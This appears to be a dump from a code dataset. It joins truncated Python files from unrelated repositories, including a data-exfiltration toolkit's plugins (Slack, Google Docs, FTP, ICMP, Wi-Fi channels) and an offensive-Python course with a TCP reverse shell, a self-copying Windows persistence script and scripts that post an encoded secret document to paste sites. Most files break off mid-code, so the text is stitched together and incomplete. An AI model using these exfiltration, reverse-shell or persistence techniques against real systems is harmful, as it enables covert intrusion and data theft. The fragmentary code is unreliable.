repo_name
stringlengths
6
97
path
stringlengths
3
341
text
stringlengths
8
1.02M
smk762/dex_stats_pymongo
dex_stats/utils/utils.py
<reponame>smk762/dex_stats_pymongo<gh_stars>1-10 from functools import wraps from decimal import Decimal from time import time import numpy as np def measure(func): @wraps(func) def _time_it(*args, **kwargs): start = int(round(time() * 1000)) try: return func(*args, **kwargs) ...
smk762/dex_stats_pymongo
qa/conftest.py
import pytest import json @pytest.fixture(scope='session') def test_params(): with open('endpointconf.json', 'r') as f: params_dict = json.load(f) return params_dict
smk762/dex_stats_pymongo
qa/test_api.py
<filename>qa/test_api.py import pytest import requests from pytest_utils.utils import validate_template class TestAPI: def test_ticker_call(self, test_params): schema_ticker = { 'type': 'array', 'items': { 'type': 'object', 'propertyNames': {'pattern...
bgruening/funannotate
funannotate/utilities/get_longest_isoform.py
<reponame>bgruening/funannotate #!/usr/bin/env python # -*- coding: utf-8 -*- import sys, re, os, gzip, argparse from Bio import SeqIO def main(inargs): # setup menu with argparse class MyFormatter(argparse.ArgumentDefaultsHelpFormatter): def __init__(self, prog): super(MyFormatter, se...
sitandr/hike-dispenser
data_reader.py
import data_classes import os from tools import * import help_parser def read_data(args): def default_optimize_values(): return {args.v_name_default: data_classes.Value(args.v_name_default)} to_optimize_values = {} if args.people_and_things_file is not None: # "classic", simple ...
sitandr/hike-dispenser
tools.py
<gh_stars>1-10 # modificated funcs from StackOverFlow import math try: import yaml class UniqueKeyLoader(yaml.SafeLoader): def construct_mapping(self, node, deep=False): mapping = [] for key_node, value_node in node.value: key = self...
sitandr/hike-dispenser
data_classes.py
<reponame>sitandr/hike-dispenser class Value: name = '<undefined value name>' pain = None def __init__(self, name): self.name = name def __repr__(self): return self.name class Person: name = '<undefined person name>' inaccessibility = 0 ...
sitandr/hike-dispenser
help_parser.py
<filename>help_parser.py import argparse parser = argparse.ArgumentParser(description='This program dispenses things to people (mininmizing total pain) \ using annealing. As input it takes file with people descriptions (for each in each line there is name, \ optimal_weight and weight_sensevity (number of t...
sitandr/hike-dispenser
dispenser.py
import random import help_parser import data_reader from tools import print_progress_bar import time import optimize from optimize import optimized_rand_move, generate_sequence, generate_transfer_from_seqence args = help_parser.parse() # parse all given flags people, things, to_optimize_values = data_reader.read_d...
sitandr/hike-dispenser
optimize.py
import random names = None things = None to_optimize_values = None people = None enable_inacs = False def generate_transfer_from_seqence(seq): # very slow all_transfer = {(n1, n2): [] for n1 in names for n2 in names} # what FIRST GIVES (and second takes) for to in seq: for thing in seq[...
NickFleece/DET
etc/data_processing.py
<filename>etc/data_processing.py import csv import random data = { "passwords":[], "cc_numbers":[] } print("Getting password values") #get the passwords passwords = [] with open('pwd.csv') as csvfile: spamreader = csv.reader(csvfile) for row in spamreader: data["passwords"].append([row[0]]) pr...
NickFleece/DET
plugins/sip.py
#!/usr/bin/env python #inspired from: https://books.google.fr/books?id=cHOmCwAAQBAJ&pg=PA747&lpg=PA747&dq=sdp+smime&source=bl&ots=34LYW5iJyc&sig=4a1szVXKMDtqQWUb0K2gM29AgL8&hl=fr&sa=X&ved=0ahUKEwjbm5Tf1JzTAhUGfxoKHX-UCQUQ6AEIVTAG#v=onepage&q=sdp%20smime&f=false from __future__ import print_function from dpkt import s...
NickFleece/DET
plugins/slack.py
from slackclient import SlackClient import time app_exfiltrate = None config = None sc = None def send(data): global sc chan = config['chan_id'] app_exfiltrate.log_message('info', "[slack] Sending {} bytes with Slack".format(len(data))) data = data.encode('hex') sc.api_call("api.text") sc.ap...
NickFleece/DET
plugins/google_docs.py
<filename>plugins/google_docs.py import requests import base64 from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer import urllib config = None app_exfiltrate = None def send(data): target = "https://docs.google.com/viewer?url=http://{}:{}/{}".format(config['target'], config['port'], urllib.quote_plus(b...
NickFleece/DET
plugins/wifi.py
from __future__ import print_function try: from scapy.all import * except: print("You should install Scapy if you run the server..") config = None app_exfiltrate = None ap_list = [] ap_buffer = [] job_id = None def PacketHandler(pkt): global ap_buffer, job_id if pkt.haslayer(Dot11): if pkt.t...
NickFleece/DET
plugins/ftp.py
<reponame>NickFleece/DET<gh_stars>100-1000 import logging from ftplib import FTP from pyftpdlib.handlers import FTPHandler from pyftpdlib.servers import FTPServer from pyftpdlib.authorizers import DummyAuthorizer from random import choice import base64 app_exfiltrate = None config = None user = "user" passwd = "<PASS...
NickFleece/DET
plugins/icmp.py
<gh_stars>100-1000 import base64 import socket from random import choice, randint from dpkt import ip, icmp config = None app_exfiltrate = None def send_icmp(dst, data): try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) except: app_exfiltrate.log_message('warning', "...
dggsoares/Simple_Python_Exercises
python_101/02.2 - ascii_art.py
<gh_stars>1-10 stormtrooper = r''' ,ooo888888888888888oooo, o8888YYYYYY77iiiiooo8888888o 8888YYYY77iiYY8888888888888888 [88YYY77iiY88888888888888888888] 88YY7iYY888888888888888888888888 ...
dggsoares/Simple_Python_Exercises
python_101/12.2 - sockets_server.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import socket HOST = '127.0.0.1' PORT = 45001 with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.bind((HOST, PORT)) print(f'Server listening on port: {PORT}...') s.listen() conn, addr = s.accept() print('Connected by', addr) conn.send...
dggsoares/Simple_Python_Exercises
python_101/01.2 - float.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- print('Basic float operations') a = 2.3 b = 3.4 addition = a + b subtraction = a - b multiplication = a * b division = a * b modulo = a % b print(f'a = {a}') print(f'b = {b}') print(f'a + b = {addition}') print(f'a - b = {subtraction}') print(f'a * b = {multiplication}') ...
dggsoares/Simple_Python_Exercises
python_101/11 - import_system.py
<filename>python_101/11 - import_system.py #!/usr/bin/env python3 # -*- coding: utf-8 -*- import os.path import datetime from math import cos import math as mathematics from requests import get as get_http from oop_python import Robot print(f'Current working directory: {os.getcwd()}') print(f'Current time: {dateti...
dggsoares/Simple_Python_Exercises
python_201/08 - perl_nopaste.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import requests import base64 import json from bs4 import BeautifulSoup requests.packages.urllib3.disable_warnings() # Disable SSL verify warnings URL = 'http://paste.arn-fai.net/' FILENAME_INPUT = 'top_secret_document.pdf' FILENAME_OUTPUT = 'top_secret_document_decode...
dggsoares/Simple_Python_Exercises
python_101/07 - for_statements.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- print('Number sequence: ') for number in [1, 2, 3, 4, 5, 6]: print(number) print('\nNumber sequence with range(): ') for number in range(1, 7): print(number) print('\nIterating over sequence') print('Names:') names = ['Bob', 'Maroon', 'Damian'] for name in na...
dggsoares/Simple_Python_Exercises
python_101/04 - dictionaries.py
<filename>python_101/04 - dictionaries.py #!/usr/bin/env python3 # -*- coding: utf-8 -*- print('Python dictionaries') dict0 = {} dict1 = dict(a=1, b=-2, c=3, d=4, e=5) dict2 = dict( one=1, two=2, three=3, four=4, five=5 ) dict3 = { 'one': 1, 'two': 2, 'three': 3, 'four': 4, ...
dggsoares/Simple_Python_Exercises
python_201/10 - self_signed_cert.py
from datetime import datetime, timedelta from cryptography import x509 from cryptography.hazmat.primitives import hashes from cryptography.x509.oid import NameOID from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmet...
dggsoares/Simple_Python_Exercises
exercises_answer/ex_23.py
<gh_stars>1-10 #!/usr/bin/env python3 # -*- coding: utf-8 -*- import base64 from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC from cryptography.fernet import Fernet def create_key(password): ...
dggsoares/Simple_Python_Exercises
python_201/04 - xor_encryption.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import string import random def generate_key(length): characters = string.ascii_letters + string.punctuation return ''.join((random.choice(characters) for _ in range(length))) def xor(message, key): return "".join([chr(ord(c1) ^ ord(c2)) for c1, c2 in zip(...
dggsoares/Simple_Python_Exercises
python_101/12.1 - sockets.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import socket HOST = '127.0.0.1' PORT = 45001 with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((HOST, PORT)) data = s.recv(1024).decode() print(data)
dggsoares/Simple_Python_Exercises
exercises_answer/ex_22-1.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import requests import base64 def xor(message, key): return "".join([chr(ord(c1) ^ ord(c2)) for c1, c2 in zip(message, key)]) URL = "http://localhost:3321" key = 'PythonOffensive201#@113445' r = requests.get(URL) encoded_message = base64.b64decode(r.content) decry...
dggsoares/Simple_Python_Exercises
exercises_answer/ex_23-2.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import base64 from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC from cryptography.fernet import Fernet def create_key(password): salt = b'\<KEY>...
dggsoares/Simple_Python_Exercises
python_101/10 - file_operations.py
<reponame>dggsoares/Simple_Python_Exercises #!/usr/bin/env python3 # -*- coding: utf-8 -*- print('[+] First Read') with open('file.txt', 'r') as file: print(file.read()) print('\n[+] Second Read') with open('file.txt', 'r') as file: while True: line = file.readline() print(line, end='') ...
dggsoares/Simple_Python_Exercises
python_201/06.1 - fernet_encryption.py
<reponame>dggsoares/Simple_Python_Exercises #!/usr/bin/env python3 # -*- coding: utf-8 -*- from cryptography.fernet import Fernet print(f'[+++] Fernet Encryption/Decryption tool [+++]') message = "I turned my phone on airplane mode and threw it in the air. Worst transformer ever." print(f'\t[|] Message to encrypt: {m...
dggsoares/Simple_Python_Exercises
exercises_answer/ex_16_client.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import socket HOST = 'py.insidertips.xyz' PORT = 30045 def do_math(a, b, operator): if operator == '+': return str(a + b).encode() elif operator == '-': return str(a - b).encode() elif operator == '*': return str(a * b).encode() ...
dggsoares/Simple_Python_Exercises
python_101/01.3 - booleans.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- print('Booleans type') # True or False print(f'True equals {int(True)} int number') print(f'False equals {int(False)} int number') print(f'1 evaluate to: {bool(1)}') print(f'And so every non-zero number: {bool(-45)}') print(f'0 evaluate to: {bool(0)}') print('Logic operat...
dggsoares/Simple_Python_Exercises
python_101/01.1 - integer.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # Comments on Python! ''' Multi Lines Comments on Python ''' print('Basic integer operations') a = 4 b = 5 addition = a + b subtraction = a - b multiplication = a * b division = a * b modulo = a % b print(f'a = {a}') print(f'b = {b}') print(f'a + b = {addition}') print(...
dggsoares/Simple_Python_Exercises
python_201/07 - hastebin.py
<reponame>dggsoares/Simple_Python_Exercises<filename>python_201/07 - hastebin.py<gh_stars>1-10 #!/usr/bin/env python3 # -*- coding: utf-8 -*- import requests import base64 import json requests.packages.urllib3.disable_warnings() # Disable SSL verify warnings URL = 'https://hastebin.com/documents/' FILENAME_INPUT = ...
dggsoares/Simple_Python_Exercises
python_101/03 - lists.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- list1 = [] print(list1) list2 = list() print(list2) list3 = [1, 2, 3, 4, 5] print(list3) list4 = ['One', 'Two', 'Three', 'Four', 'Five'] print(list4) list5 = ['One', 2, 'Three', 4, 'Five'] print(list5) string = 'Pythonic Way of Life!' list_from_string = list(string) prin...
dggsoares/Simple_Python_Exercises
python_201/01 - knockd_client.py
<filename>python_201/01 - knockd_client.py #!/usr/bin/env python3 # -*- coding: utf-8 -*- import socket host = '192.168.246.128' ports = [ {'number': 4433, 'protocol': 'tcp'}, {'number': 8800, 'protocol': 'tcp'}, {'number': 1234, 'protocol': 'udp'}, {'number': 3088, 'protocol': 'tcp'}, ] challenge_p...
dggsoares/Simple_Python_Exercises
python_101/08 - while_statement.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- print('While 1') count = 0 while True: count += 1 print(f'Count: {count}') if count == 10: break print('\nWhile 2') count = 0 while count < 10: count += 1 print(f'Count: {count}')
dggsoares/Simple_Python_Exercises
exercises_answer/ex_14_client.py
<filename>exercises_answer/ex_14_client.py #!/usr/bin/env python3 # -*- coding: utf-8 -*- import socket import base64 HOST = 'py.insidertips.xyz' PORT = 30001 with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((HOST, PORT)) # Banner print(s.recv(2048).decode()) # Response me...
dggsoares/Simple_Python_Exercises
python_201/09 - persistence.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import os import shutil import ctypes import winreg FILENAME = __file__ path = os.getcwd() + '\\' userprofile = os.getenv('userprofile') destination = userprofile + '\\Documents\\' + FILENAME print('[+] System recon') print(f'\t[|] Working directory: {path}') print(f'\...
dggsoares/Simple_Python_Exercises
python_201/03 - simple_http_server.py
<reponame>dggsoares/Simple_Python_Exercises #!/usr/bin/env python3 # -*- coding: utf-8 -*- from http.server import HTTPServer, BaseHTTPRequestHandler class MyHTTPServer(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('Content-type', 'text/html') self.en...
dggsoares/Simple_Python_Exercises
exercises_answer/ex_22.py
<reponame>dggsoares/Simple_Python_Exercises #!/usr/bin/env python3 # -*- coding: utf-8 -*- from http.server import HTTPServer, BaseHTTPRequestHandler import base64 def xor(message, key): return "".join([chr(ord(c1) ^ ord(c2)) for c1, c2 in zip(message, key)]) class MyHTTPServer(BaseHTTPRequestHandler): def ...
dggsoares/Simple_Python_Exercises
exercises_answer/ex_11.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- from ipwhois import IPWhois import json import pickle # Ex 1.1 # Read a file called 'exercise11.txt' with IPs, create a list of targets using the data structures Lists # and Dictionaries and print them. from pprint import pprint targets = [] with open('exercise11.txt'...
dggsoares/Simple_Python_Exercises
python_101/13 - oop_python.py
<filename>python_101/13 - oop_python.py #!/usr/bin/env python3 # -*- coding: utf-8 -*- class Robot: def __init__(self, name, color): self.name = name self.color = color def talk(self): print(f"Hi Human! I'm {self.name} robot, have {self.color} color and type '{self.__class__.__name__}'...
dggsoares/Simple_Python_Exercises
exercises/exercises.py
import socketserver import threading import random import base64 import logging import coloredlogs import sys logger = logging.getLogger(__name__) coloredlogs.install(level='DEBUG', logger=logger, fmt='%(asctime)s %(hostname)s %(name)s[%(process)d] %(levelname)s %(message)s', ...
dggsoares/Simple_Python_Exercises
exercises_answer/ex_15_client.py
<reponame>dggsoares/Simple_Python_Exercises #!/usr/bin/env python3 # -*- coding: utf-8 -*- import socket import base64 HOST = 'py.insidertips.xyz' PORT = 30030 with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((HOST, PORT)) # Banner print(s.recv(1024).decode()) # Encoded data ...
dggsoares/Simple_Python_Exercises
python_101/12.3 - sockets_star_wars.py
<filename>python_101/12.3 - sockets_star_wars.py #!/usr/bin/env python3 # -*- coding: utf-8 -*- import socket HOST = 'towel.blinkenlights.nl' PORT = 23 with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((HOST, PORT)) while True: print(s.recv(1024).decode(), end='')
dggsoares/Simple_Python_Exercises
python_201/11 - simple_tcp_reverse_shell.py
<filename>python_201/11 - simple_tcp_reverse_shell.py #!/usr/bin/env python3 # -*- coding: utf-8 -*- import socket import subprocess import os s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('127.0.0.1', 5689)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) p = subprocess.call([...
dggsoares/Simple_Python_Exercises
python_101/09 - functions.py
<reponame>dggsoares/Simple_Python_Exercises #!/usr/bin/env python3 # -*- coding: utf-8 -*- def do_print(string): print(string) print(f'Function do_print(string):') do_print(f'Testing functions on Python') do_print(f'5 + 6 = {5 + 6}') def add_numbers(x, y): result = x + y return result print('\nFuncti...
dggsoares/Simple_Python_Exercises
python_101/02.1 - strings.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # Strings print('------------ Building Strings ------------') string1 = 'This is a string. We built in single quotes' string2 = "This is also a string. We built in double quotes" string3 = ''' This is built using triple quotes, so it can span multiple line...
dggsoares/Simple_Python_Exercises
python_101/06 - if_statements.py
<filename>python_101/06 - if_statements.py #!/usr/bin/env python3 # -*- coding: utf-8 -*- run = True if run: print("I'm running!") sleep = False if sleep: print("I'm sleeping!") else: print("I'm not sleeping!") aux = 9 if aux == 15: print('"Aux" equals 15') elif aux == 14: print('"Aux" equals ...
dggsoares/Simple_Python_Exercises
knockd/knockd_server.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import time import logging import coloredlogs import sys import socketserver import threading logger = logging.getLogger(__name__) coloredlogs.install(level='DEBUG', logger=logger, fmt='%(asctime)s %(hostname)s %(name)s[%(process)d...
dggsoares/Simple_Python_Exercises
python_201/02 - requests_library.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import requests from bs4 import BeautifulSoup URL = "https://www.us-cert.gov/ncas/alerts/2014" r = requests.get(url=URL) soup = BeautifulSoup(r.text, 'html.parser') alerts = soup.select('.item-list ul li') for alert in alerts: id = alert.find('span', {'class': 'docu...
dggsoares/Simple_Python_Exercises
exercises/ex1_server.py
import time from exercises import * import logging import coloredlogs import sys logger = logging.getLogger(__name__) coloredlogs.install(level='DEBUG', logger=logger, fmt='%(asctime)s %(hostname)s %(name)s[%(process)d] %(levelname)s %(message)s', datefmt='...
dggsoares/Simple_Python_Exercises
exercises_answer/ex_21.py
<filename>exercises_answer/ex_21.py<gh_stars>1-10 #!/usr/bin/env python3 # -*- coding: utf-8 -*- import requests from pprint import pprint with open('exercise21.txt', 'r') as file: for ip in file: ip = ip.replace('\n', '') url = f'http://{ip}/robots.txt' print(f'\n[+] ---- {ip} robots.txt ...
dggsoares/Simple_Python_Exercises
python_101/05 - list_plus_dictionaries.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- targets = [ {'ip': "192.168.3.11", 'real_location': 'Virginia', 'keyfile': 'key_USA.pem', 'services': ['HTTP', 'SQL Server']}, {'ip': "172.16.58.3", 'real_location': 'Ohio', 'keyfile': 'key_USA_OHIO.pem', 'services': ['DHCP', 'GIT']}, {'ip': "172.16.58.3", 're...
dggsoares/Simple_Python_Exercises
samples/socketserver_echo_thread.py
# https://pymotw.com/3/socketserver/ import logging import socketserver import threading logging.basicConfig(level=logging.DEBUG, format='%(name)s: %(message)s', ) class EchoRequestHandler(socketserver.BaseRequestHandler): def __init__(self, request, client_address, server): self.logger = logging.getLo...
dggsoares/Simple_Python_Exercises
python_201/05.1 - rsa_encryption.py
<reponame>dggsoares/Simple_Python_Exercises #!/usr/bin/env python3 # -*- coding: utf-8 -*- from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives import hashes from c...
dggsoares/Simple_Python_Exercises
samples/client_socketserver.py
import socket from threading import Thread import random import string import base64 ADDRESS = ('172.16.58.3', 30001) def gera_lixo(): characters = string.ascii_letters + string.punctuation return base64.b64encode(''.join(random.choice(characters) for _ in range(20)).encode()).decode() class ClientThread(T...
cs-fullstack-2019-spring/python-arraycollections-cw-ChelseaW
Problem1.py
def main(): # problem1() # problem2() # problem3() # problem4() problem5() # Create a function with the variable below. After you create the variable do the instructions below that. # # arrayForProblem2 = ["Kenn", "Kevin", "Erin", "Meka"] # a) Print the 3rd element of the numberList. # # b) ...
sandomingo/cow
cow.py
#!/usr/local/bin/python # encoding=utf-8 import sys import codecs import chardet import re def read_then_write(in_file, guess_encoding, out_encoding): dot_pos = in_file.rfind('.') output_file = in_file[0:dot_pos] + '(%s)' % out_encoding + in_file[dot_pos:] writer = open(output_file, 'wb') reader = op...
munkimdm/munkimdm
env.py
settings = { 'micromdm_url': 'https://micromdm.domain.com', 'micromdm_key': 'SUPER_SECRET_API_KEY', 'basic_auth_user': 'MIDDLEWARE_USERNAME_IN_MUNKI_PKGINFO', 'basic_auth_password': '<PASSWORD>', 'configurl': 'https://vpp.itunes.apple.com/mdm/VPPClientConfigSrv', 'licensesurl': 'https://vpp.itun...
munkimdm/munkimdm
munkimdm/munkimdm.py
#!/usr/bin/env python3 from flask import Flask, request import base64 import requests from env import settings from flask_basicauth import BasicAuth application = Flask(__name__) application.config["BASIC_AUTH_USERNAME"] = settings.get("basic_auth_user") application.config["BASIC_AUTH_PASSWORD"] = settings.get("basi...
munkimdm/munkimdm
mdmauth.py
<filename>mdmauth.py<gh_stars>1-10 import requests from flask_basicauth import BasicAuth from nested_lookup import get_occurrence_of_value from flask import Flask, request from env import settings app = Flask(__name__) app.config['BASIC_AUTH_USERNAME'] = settings.get('basic_auth_user') app.config['BASIC_AUTH_PASSWORD...
MiroK/fenics-cacl
xcalc/interpreter.py
<filename>xcalc/interpreter.py from ufl.corealg.traversal import traverse_unique_terminals from ufl.conditional import (LT, GT, LE, GE, EQ, NE, AndCondition, OrCondition, NotCondition) from dolfin import (Function, VectorFunctionSpace, interpolate, Expression, as_vector,...
MiroK/fenics-cacl
test/test_operators.py
from xcalc.interpreter import Eval from xcalc.timeseries import TempSeries from xcalc.operators import (Eigw, Eigv, Mean, RMS, STD, SlidingWindowFilter, Minimum, Maximum) from dolfin import * import numpy as np import unittest def error(true, me): mesh = me.function_space().mesh() ...
MiroK/fenics-cacl
xcalc/clement.py
<gh_stars>1-10 from dolfin import * from mpi4py import MPI as piMPI import ufl def clement_interpolate(expr): ''' Here, the Clement interpolant is a CG_1 function over mesh constructed in two steps (See Braess' Finite element book): 1) For each mesh vertex xj let wj the union of cells that share ...
MiroK/fenics-cacl
test/test_clement.py
<filename>test/test_clement.py from xcalc.interpreter import Eval from dolfin import * import numpy as np import unittest def error(true, me): mesh = me.function_space().mesh() return sqrt(abs(assemble(inner(me - true, me - true)*dx(domain=mesh)))) class TestClement(unittest.TestCase): '''Sanity''' ...
MiroK/fenics-cacl
test/test_known_fail.py
<gh_stars>1-10 from xcalc.interpreter import Eval from dolfin import * import numpy as np import unittest def error(true, me): mesh = me.function_space().mesh() return sqrt(abs(assemble(inner(me - true, me - true)*dx(domain=mesh)))) class TestCases(unittest.TestCase): '''UnitTest for (some of) xcalc.int...
MiroK/fenics-cacl
xcalc/dmd.py
from dolfin import Function from collections import namedtuple import numpy as np ComplexFunction = namedtuple('ComplexFunction', ('real', 'imag')) def dmd(functions, dmd_object, dt=1, modal_analysis=[]): ''' Dynamic mode decomposition: <NAME>. (2010), vol. 656, pp. 5-28 (idea) On dynamic mode ...
MiroK/fenics-cacl
xcalc/function_read.py
# This is the most fragile component of the package so be advised that # these ARE NOT GENERAL PURPOSE READEDERS from dolfin import Function, dof_to_vertex_map, warning, Mesh, MeshEditor import xml.etree.ElementTree as ET from itertools import dropwhile from mpi4py import MPI import numpy as np try: import h5py...
MiroK/fenics-cacl
apps/series_pod_analysis.py
from xcalc.function_read import read_vtu_mesh from xcalc.timeseries import PVDTempSeries from xcalc.interpreter import Eval from xcalc.operators import Mean, RMS from xcalc.pod import pod from dolfin import * import numpy as np dir = '/mn/sarpanitu/eksterne-u1/mirok/Documents/Programming/DragANN/data/ActiveControl' ...
MiroK/fenics-cacl
xcalc/pod.py
<reponame>MiroK/fenics-cacl from dolfin import Function from types import FunctionType import numpy as np def pod(functions, ip=lambda u, v: u.vector().inner(v.vector()), modal_analysis=[]): ''' Proper orthogonal decomposition Let there be a collection of Functions and an inner product. POD constructs ...
MiroK/fenics-cacl
xcalc/operators.py
<reponame>MiroK/fenics-cacl<gh_stars>1-10 # Some pseudo nodes (function constructors) that could be useful from dolfin import Constant, interpolate, Function, as_backend_type from collections import deque from utils import numpy_op_foo, common_sub_element, make_space from ufl.corealg.traversal import traverse_unique_te...
MiroK/fenics-cacl
xcalc/utils.py
from dolfin import Function, FunctionSpace, VectorElement, TensorElement from itertools import imap, izip, dropwhile, ifilterfalse, ifilter from ufl.indexed import Index, FixedIndex, MultiIndex from ufl.core.terminal import Terminal def make_function(V, coefs): '''A function in V with coefs''' f = Function(V...
MiroK/fenics-cacl
xcalc/timeseries.py
import xml.etree.ElementTree as ET from function_read import (read_h5_function, read_vtu_function, read_h5_mesh, read_vtu_mesh) from dolfin import (Function, XDMFFile, HDF5File, FunctionSpace, VectorFunctionSpace, TensorFunctionSpace, warning) from ufl.corealg.traversal im...
MiroK/fenics-cacl
xcalc/__init__.py
<reponame>MiroK/fenics-cacl<filename>xcalc/__init__.py from interpreter import Eval
MiroK/fenics-cacl
test/test_timeseries.py
<gh_stars>1-10 from xcalc.interpreter import Eval from xcalc.timeseries import TempSeries, stream, clip from itertools import izip from dolfin import * import numpy as np import unittest def error(true, me): mesh = me.function_space().mesh() return sqrt(abs(assemble(inner(me - true, me - true)*dx(domain=mesh)...
MiroK/fenics-cacl
xcalc/dmdbase.py
# This code is taken from PyDMD https://github.com/mathLab/PyDMD # It is included here for the sake of simplifying the installation # on UiO machines from __future__ import division from os.path import splitext from builtins import range from builtins import object from past.utils import old_div import numpy as np c...
MiroK/fenics-cacl
test/test_interpreter.py
<reponame>MiroK/fenics-cacl from xcalc.interpreter import Eval from dolfin import * import numpy as np import unittest def error(true, me): mesh = me.function_space().mesh() return sqrt(abs(assemble(inner(me - true, me - true)*dx(domain=mesh)))) class TestCases(unittest.TestCase): '''UnitTest for (some ...
MiroK/fenics-cacl
setup.py
#!/usr/bin/env python from distutils.core import setup setup(name = 'fenics_calc', version = '0.1', description = 'Lazy calculator over FEniCS functons', author = '<NAME>', author_email = '<EMAIL>', url = 'https://github.com/mirok/fenics-calc.git', packages = ['xcalc'], packa...
stjohnjohnson/carspeed.py
speed-camera.py
# speed-camera v4.0 """ Script to capture moving car speed Usage: speed-camera.py [preview] [--config=<file>] Options: -h --help Show this screen. """ # import the necessary packages from docopt import docopt from picamera import PiCamera from picamera.array import PiRGBArray from pathlib import Path fro...
AnnieJohnson25/Test
genderClassification.py
<gh_stars>0 from scikit import tree #[height,weight,shoe size] X=[[181,80,44],[177,70,43],[160,60,38],[154,54,37],[166,65,40],[190,90,47],[175,64,39],[177,70,40],[159,55,37],[171,75,42],[181,85,43]] Y=['male','female','female','female','male','male','male','female','male','female','male'] #clf (short for classifier)...
ViteshKhurana/RTU-DigitalLibrary
Python Programs/filewordcount.py
try: f=open("file.txt") except: print("File not found ! ") else: a=f.read() ls=a.split(" ") dict={} for word in ls: if word in dict: dict[word]+=1 else: dict[word]=1 for word in dict: print(word,"=",dict[word])
saiyerniakhil/python-75-hackathon
wikipedia-deadlink-finder/app.py
<reponame>saiyerniakhil/python-75-hackathon from flask import render_template, Flask, request import requests,re, csv, time from bs4 import BeautifulSoup from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) app = Flask(__name__) d...
saiyerniakhil/python-75-hackathon
wikipedia-deadlink-finder/code.py
import requests from bs4 import BeautifulSoup import re import csv import time """ To handle routing to insecure page i.e navigatiing to 'http' requests which donot have SSL certificates and are consideres to be insecure. The below lines are added to suppress the below error: ---------------------------------------...
saiyerniakhil/python-75-hackathon
string-slices/strings.py
example = input('Enter a string') ''' String sliciing: a string is a like a python list and each and every element can be accessed by square bracket notation. ''' print("example string's start to fifth characters "+example[:5]) print("example string's first to third characters "+example[1:3]) print("example strin...
saiyerniakhil/python-75-hackathon
introduction/intro.py
print(''' This repository is a part of Talent Accurate's python-75-hackathon. * How to download python? - Download python from their official website here (https://www.python.org/downloads/release/python-371/) * How to run python? you can run python in two ways ...
saiyerniakhil/python-75-hackathon
text-input-and-output/text-input-and-output.py
''' Text input in python input can be taken from the user by two ways using input function. Both ways are shown in this file. ''' print('Enter your firstname') firstname = input() print('the firstname you entered is '+ firstname) lastname = input('Enter your lastname') print('the lastname you entered is ',lastna...
edjacob25/Bot
application.py
from flask import Flask, request, abort from flask.logging import default_handler from logging.config import dictConfig import configparser import os import requests import traceback def configure_logging(): if not os.path.exists("logs/default.log"): os.mkdir("logs") dictConfig({ 'version': 1,...
dbogdanov/beets-mpdadd
setup.py
from setuptools import setup setup( name='beets-mpdadd', version='0.2', description='beets plugin that adds query results to the current MPD playlist', author='<NAME>', author_email='<EMAIL>', license='MIT', platforms='ALL', packages=['beetsplug'], install_requires=['beets', 'python...
dbogdanov/beets-mpdadd
beetsplug/mpdadd.py
<gh_stars>0 from beets.plugins import BeetsPlugin from beets.ui import Subcommand from beets import ui from beets import config from os.path import relpath from mpd import MPDClient def mpd_add(lib, opts, args): """Converts results from a query to relative uris and sends them to MPD. """ # Read user confi...
zhengjian2322/darts-pt
sota/cnn/model_search_sdarts.py
<gh_stars>1-10 import torch.nn.functional as F from sota.cnn.operations import * from sota.cnn.genotypes import Genotype import sys sys.path.insert(0, '../../') from sota.cnn.model_search import Network class SDartsNetwork(Network): def __init__(self, C, num_classes, layers, criterion, primitives, args, ...
zhengjian2322/darts-pt
sota/cnn/spaces.py
from collections import OrderedDict primitives_1 = OrderedDict([('primitives_normal', [['skip_connect', 'dil_conv_3x3'], ['skip_connect', 'dil_conv_5x5'], ...
zhengjian2322/darts-pt
sota/cnn/model_search_sdarts_proj.py
import torch.nn.functional as F from sota.cnn.operations import * from sota.cnn.genotypes import Genotype import sys sys.path.insert(0, '../../') from sota.cnn.model_search_darts_proj import DartsNetworkProj class SDartsNetworkProj(DartsNetworkProj): def __init__(self, C, num_classes, layers, criterion, primiti...
zhengjian2322/darts-pt
sota/cnn/visualize_full.py
